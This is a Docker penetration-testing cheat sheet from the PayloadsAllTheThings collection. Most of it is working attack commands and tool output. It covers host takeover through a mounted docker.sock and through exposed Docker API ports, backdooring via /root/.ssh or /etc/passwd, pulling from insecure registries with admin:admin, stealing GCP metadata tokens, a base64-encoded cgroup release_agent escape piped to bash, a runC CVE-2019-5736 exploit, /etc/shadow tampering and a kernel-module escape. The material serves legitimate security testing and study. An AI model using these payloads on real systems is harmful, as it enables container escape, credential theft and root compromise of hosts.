killchain-compendium/misc/PayloadsAllTheThings/Methodology and Resources/Container - Docker Pentest.md

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# Docker Pentest
> Docker is a set of platform as a service (PaaS) products that uses OS-level virtualization to deliver software in packages called containers.
## Summary
- [Tools](#tools)
- [Mounted Docker Socket](#mounted-docker-socket)
- [Open Docker API Port](#open-docker-api-port)
- [Insecure Docker Registry](#insecure-docker-registry)
- [Exploit privileged container abusing the Linux cgroup v1](#exploit-privileged-container-abusing-the-linux-cgroup-v1)
- [Breaking out of Docker via runC](#breaking-out-of-docker-via-runc)
- [Breaking out of containers using a device file](#breaking-out-of-containers-using-a-device-file)
- [References](#references)
## Tools
* [Dockscan](https://github.com/kost/dockscan) : Dockscan is security vulnerability and audit scanner for Docker installations
```powershell
dockscan unix:///var/run/docker.sock
dockscan -r html -o myreport -v tcp://example.com:5422
```
* [DeepCe](https://github.com/stealthcopter/deepce) : Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE)
```powershell
./deepce.sh
./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce
./deepce.sh --no-enumeration --exploit SOCK --shadow
./deepce.sh --no-enumeration --exploit DOCKER --command "whoami>/tmp/hacked"
```
## Mounted Docker Socket
Prerequisite:
* Socker mounted as volume : `- "/var/run/docker.sock:/var/run/docker.sock"`
Usually found in `/var/run/docker.sock`, for example for Portainer.
```powershell
curl --unix-socket /var/run/docker.sock http://127.0.0.1/containers/json
curl -XPOST unix-socket /var/run/docker.sock -d '{"Image":"nginx"}' -H 'Content-Type: application/json' http://localhost/containers/create
curl -XPOST unix-socket /var/run/docker.sock http://localhost/containers/ID_FROM_PREVIOUS_COMMAND/start
```
Exploit using [brompwnie/ed](https://github.com/brompwnie/ed)
```powershell
root@37bb034797d1:/tmp# ./ed_linux_amd64 -path=/var/run/ -autopwn=true
[+] Hunt dem Socks
[+] Hunting Down UNIX Domain Sockets from: /var/run/
[*] Valid Socket: /var/run/docker.sock
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to Autopwn: /var/run/docker.sock
[*] Getting Docker client...
[*] Successfully got Docker client...
[+] Attempting to escape to host...
[+] Attempting in TTY Mode
chroot /host && clear
echo 'You are now on the underlying host'
chroot /host && clear
echo 'You are now on the underlying host'
/ # chroot /host && clear
/ # echo 'You are now on the underlying host'
You are now on the underlying host
/ # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
```
## Open Docker API Port
Prerequisite:
* Docker runned with `-H tcp://0.0.0.0:XXXX`
```powershell
$ nmap -sCV 10.10.10.10 -p 2376
2376/tcp open docker Docker 19.03.5
| docker-version:
| Version: 19.03.5
| MinAPIVersion: 1.12
```
Mount the current system inside a new "temporary" Ubuntu container, you will gain root access to the filesystem in `/mnt`.
```powershell
$ export DOCKER_HOST=tcp://10.10.10.10:2376
$ docker run --name ubuntu_bash --rm -i -v /:/mnt -u 0 -t ubuntu bash
or
$ docker -H open.docker.socket:2375 ps
$ docker -H open.docker.socket:2375 exec -it mysql /bin/bash
or
$ curl -s insecure https://tls-opendocker.socket:2376/secrets | jq
$ curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
```
From there you can backdoor the filesystem by adding an ssh key in `/root/.ssh` or adding a new root user in `/etc/passwd`.
## Insecure Docker Registry
Docker Registrys fingerprint is `Docker-Distribution-Api-Version` header. Then connect to Registry API endpoint: `/v2/_catalog`.
```powershell
curl https://registry.example.com/v2/<image_name>/tags/list
docker pull https://registry.example.com:443/<image_name>:<tag>
# connect to the endpoint and list image blobs
curl -s -k --user "admin:admin" https://docker.registry.local/v2/_catalog
curl -s -k --user "admin:admin" https://docker.registry.local/v2/wordpress-image/tags/list
curl -s -k --user "admin:admin" https://docker.registry.local/v2/wordpress-image/manifests/latest
# download blobs
curl -s -k --user 'admin:admin' 'http://docker.registry.local/v2/wordpress-image/blobs/sha256:c314c5effb61c9e9c534c81a6970590ef4697b8439ec6bb4ab277833f7315058' > out.tar.gz
# automated download
https://github.com/NotSoSecure/docker_fetch/
python /opt/docker_fetch/docker_image_fetch.py -u http://admin:admin@docker.registry.local
```
Access a private registry and start a container with one of its image
```powershell
docker login -u admin -p admin docker.registry.local
docker pull docker.registry.local/wordpress-image
docker run -it docker.registry.local/wordpress-image /bin/bash
```
Access a private registry using OAuth Token from Google
```powershell
curl http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/email
curl -s http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
docker login -e <email> -u oauth2accesstoken -p "<access token>" https://gcr.io
```
## Exploit privileged container abusing the Linux cgroup v1
Prerequisite (at least one):
* `--privileged`
* `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN` flags.
```powershell
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash -c 'echo "cm5kX2Rpcj0kKGRhdGUgKyVzIHwgbWQ1c3VtIHwgaGVhZCAtYyAxMCkKbWtkaXIgL3RtcC9jZ3JwICYmIG1vdW50IC10IGNncm91cCAtbyByZG1hIGNncm91cCAvdG1wL2NncnAgJiYgbWtkaXIgL3RtcC9jZ3JwLyR7cm5kX2Rpcn0KZWNobyAxID4gL3RtcC9jZ3JwLyR7cm5kX2Rpcn0vbm90aWZ5X29uX3JlbGVhc2UKaG9zdF9wYXRoPWBzZWQgLW4gJ3MvLipccGVyZGlyPVwoW14sXSpcKS4qL1wxL3AnIC9ldGMvbXRhYmAKZWNobyAiJGhvc3RfcGF0aC9jbWQiID4gL3RtcC9jZ3JwL3JlbGVhc2VfYWdlbnQKY2F0ID4gL2NtZCA8PCBfRU5ECiMhL2Jpbi9zaApjYXQgPiAvcnVubWUuc2ggPDwgRU9GCnNsZWVwIDMwIApFT0YKc2ggL3J1bm1lLnNoICYKc2xlZXAgNQppZmNvbmZpZyBldGgwID4gIiR7aG9zdF9wYXRofS9vdXRwdXQiCmhvc3RuYW1lID4+ICIke2hvc3RfcGF0aH0vb3V0cHV0IgppZCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKcHMgYXh1IHwgZ3JlcCBydW5tZS5zaCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKX0VORAoKIyMgTm93IHdlIHRyaWNrIHRoZSBkb2NrZXIgZGFlbW9uIHRvIGV4ZWN1dGUgdGhlIHNjcmlwdC4KY2htb2QgYSt4IC9jbWQKc2ggLWMgImVjaG8gXCRcJCA+IC90bXAvY2dycC8ke3JuZF9kaXJ9L2Nncm91cC5wcm9jcyIKIyMgV2FpaWlpaXQgZm9yIGl0Li4uCnNsZWVwIDYKY2F0IC9vdXRwdXQKZWNobyAi4oCiPygowq/CsMK3Ll8u4oCiIHByb2ZpdCEg4oCiLl8uwrfCsMKvKSnYn+KAoiIK" | base64 -d | bash -'
```
Exploit breakdown :
```powershell
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
```
## Breaking out of Docker via runC
> The vulnerability allows a malicious container to (with minimal user interaction) overwrite the host runc binary and thus gain root-level code execution on the host. The level of user interaction is being able to run any command ... as root within a container in either of these contexts: Creating a new container using an attacker-controlled image. Attaching (docker exec) into an existing container which the attacker had previous write access to. - Vulnerability overview by the runC team
Exploit for CVE-2019-5736 : https://github.com/twistlock/RunC-CVE-2019-5736
```powershell
$ docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-5736/malicious_image_POC
$ docker run --rm cve-2019-5736:malicious_image_POC
```
## Breaking out of containers using a device file
```powershell
https://github.com/FSecureLABS/fdpasser
In container, as root: ./fdpasser recv /moo /etc/shadow
Outside container, as UID 1000: ./fdpasser send /proc/$(pgrep -f "sleep 1337")/root/moo
Outside container: ls -la /etc/shadow
Output: -rwsrwsrwx 1 root shadow 1209 Oct 10 2019 /etc/shadow
```
## Breaking out of Docker via kernel modules loading
> When privileged Linux containers attempt to load kernel modules, the modules are loaded into the host's kernel (because there is only *one* kernel, unlike VMs). This provides a route to an easy container escape.
Exploitation:
* Clone the repository : `git clone https://github.com/xcellerator/linux_kernel_hacking/tree/master/3_RootkitTechniques/3.8_privileged_container_escaping`
* Build with `make`
* Start a privileged docker container with `docker run -it --privileged --hostname docker --mount "type=bind,src=$PWD,dst=/root" ubuntu`
* `cd /root` in the new container
* Insert the kernel module with `./escape`
* Run `./execute`!
Unlike other techniques, this module doesn't contain any syscalls hooks, but merely creates two new proc files; `/proc/escape` and `/proc/output`.
* `/proc/escape` only answers to write requests and simply executes anything that's passed to it via [`call_usermodehelper()`](https://www.kernel.org/doc/htmldocs/kernel-api/API-call-usermodehelper.html).
* `/proc/output` just takes input and stores it in a buffer when written to, then returns that buffer when it's read from - essentially acting a like a file that both the container and the host can read/write to.
The clever part is that anything we write to `/proc/escape` gets sandwiched into `/bin/sh -c <INPUT> > /proc/output`. This means that the command is run under `/bin/sh` and the output is redirected to `/proc/output`, which we can then read from within the container.
Once the module is loaded, you can simply `echo "cat /etc/passwd" > /proc/escape` and then get the result via `cat /proc/output`. Alternatively, you can use the `execute` program to give yourself a makeshift shell (albeit an extraordinarily basic one).
The only caveat is that we cannot be sure that the container has `kmod` installed (which provides `insmod` and `rmmod`). To overcome this, after building the kernel module, we load it's byte array into a C program, which then uses the `init_module()` syscall to load the module into the kernel without needing `insmod`. If you're interested, take a look at the Makefile.
## References
- [Hacking Docker Remotely - 17 March 2020 - ch0ks](https://hackarandas.com/blog/2020/03/17/hacking-docker-remotely/)
- [Understanding Docker container escapes - JULY 19, 2019 - Trail of Bits](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
- [Capturing all the flags in BSidesSF CTF by pwning our infrastructure - Hackernoon](https://hackernoon.com/capturing-all-the-flags-in-bsidessf-ctf-by-pwning-our-infrastructure-3570b99b4dd0)
- [Breaking out of Docker via runC Explaining CVE-2019-5736 - Yuval Avrahami - February 21, 2019](https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/)
- [CVE-2019-5736: Escape from Docker and Kubernetes containers to root on host - dragonsector.pl](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
- [OWASP - Docker Security CheatSheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Docker_Security_Cheat_Sheet.md)
- [Anatomy of a hack: Docker Registry - NotSoSecure - April 6, 2017](https://www.notsosecure.com/anatomy-of-a-hack-docker-registry/)
- [Linux Kernel Hacking 3.8: Privileged Container Escapes - Harvey Phillips @xcellerator](https://github.com/xcellerator/linux_kernel_hacking/tree/master/3_RootkitTechniques/3.8_privileged_container_escaping)